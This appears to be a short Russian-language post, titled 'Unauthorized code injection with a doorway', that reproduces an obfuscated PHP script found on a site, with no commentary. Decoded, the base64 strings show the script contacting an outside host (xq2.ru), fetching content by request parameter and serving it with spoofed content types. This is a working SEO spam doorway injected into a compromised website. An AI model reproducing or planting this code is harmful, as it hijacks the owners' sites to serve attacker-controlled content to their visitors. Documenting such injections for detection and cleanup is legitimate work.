Несанкционированное внедрение кода с дорвеем

<?
$index="9a77bfedd16fd30e587f41b522c56267";
$GLOBALS['_1112515842_']=Array(base64_decode('cGFyc2' .'Vf' .'d' .'XJs'),base64_decode('' .'ZnNvY2tvcGV' .'u'),base64_decode('c3Ry' .'bG' .'Vu'),base64_decode('Zn' .'dyaXRl'),base64_decode('ZmVv' .'Zg=' .'='),base64_decode('Zm' .'dldHM='),base64_decode('c3Vic3Ry'),base64_decode('c' .'3R' .'y' .'c' .'G9z'),base64_decode('Zm' .'N' .'sb3Nl'),base64_decode('c3Ryc3' .'Ry'),base64_decode('a' .'GVhZ' .'GVy'),base64_decode('' .'c3Ryc3' .'Ry'),base64_decode('aGVhZ' .'GVy'),base64_decode('' .'c3' .'Ryc3' .'Ry'),base64_decode('c3Ry' .'c3Ry'),base64_decode('' .'aGVhZGVy'),base64_decode('c' .'3R' .'yc' .'3Ry'),base64_decode('aG' .'VhZGVy'),base64_decode('' .'aGV' .'hZGVy')); ?><? function _714844447($i){$a=Array('aWQ=','aHR0cDovL3hxMi5ydS9kYXRhLw==','Lw==','','aG9zdA==','cG9ydA==','cG9ydA==','UE9TVCA=','cGF0aA==','IEhUVFAvMS4w','DQo=','SG9zdDog','aG9zdA==','DQo=','Q29udGVudC10eXBlOiB0ZXh0L2h0bWw=','DQo=','Q29udGVudC1sZW5ndGg6IA==','DQo=','Q29ubmVjdGlvbjogQ2xvc2U=','DQoNCg==','','DQoNCg==','LmNzcw==','Q29udGVudC1UeXBlOiB0ZXh0L2NzczsgY2hhcnNldD1jcDEyNTE=','LnBuZw==','Q29udGVudC1UeXBlOiBpbWFnZS9wbmc=','LmpwZw==','LmpwZWc=','Q29udGVudC1UeXBlOiBpbWFnZS9qcGVn','LmdpZg==','Q29udGVudC1UeXBlOiBpbWFnZS9naWY=','Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9Y3AxMjUx');return base64_decode($a[$i]);} ?><? $_0=$_REQUEST[_714844447(0)];$_1=_714844447(1) .$index ._714844447(2) .$_0;$_2=_714844447(3);$_3=$GLOBALS['_1112515842_'][0]($_1);if($_4=$GLOBALS['_1112515842_'][1]($_3[_714844447(4)],!empty($_3[_714844447(5)])?$_3[_714844447(6)]:round(0+16+16+16+16+16))){$_5=_714844447(7) .$_3[_714844447(8)] ._714844447(9) ._714844447(10);$_5 .= _714844447(11) .$_3[_714844447(12)] ._714844447(13);$_5 .= _714844447(14) ._714844447(15);$_5 .= _714844447(16) .$GLOBALS['_1112515842_'][2]($_2) ._714844447(17);$_5 .= _714844447(18) ._714844447(19);$_5 .= $_2;$GLOBALS['_1112515842_'][3]($_4,$_5);$_6=_714844447(20);while(!$GLOBALS['_1112515842_'][4]($_4)){$_6 .= $GLOBALS['_1112515842_'][5]($_4,round(0+204.8+204.8+204.8+204.8+204.8));}$_7=$GLOBALS['_1112515842_'][6]($_6,$GLOBALS['_1112515842_'][7]($_6,_714844447(21))+round(0+2+2));$GLOBALS['_1112515842_'][8]($_4);}if($GLOBALS['_1112515842_'][9]($_0,_714844447(22))){$GLOBALS['_1112515842_'][10](_714844447(23));}elseif($GLOBALS['_1112515842_'][11]($_0,_714844447(24))){$GLOBALS['_1112515842_'][12](_714844447(25));}elseif($GLOBALS['_1112515842_'][13]($_0,_714844447(26))|| $GLOBALS['_1112515842_'][14]($_0,_714844447(27))){$GLOBALS['_1112515842_'][15](_714844447(28));}elseif($GLOBALS['_1112515842_'][16]($_0,_714844447(29))){$GLOBALS['_1112515842_'][17](_714844447(30));}else{$GLOBALS['_1112515842_'][18](_714844447(31));}echo $_7; ?>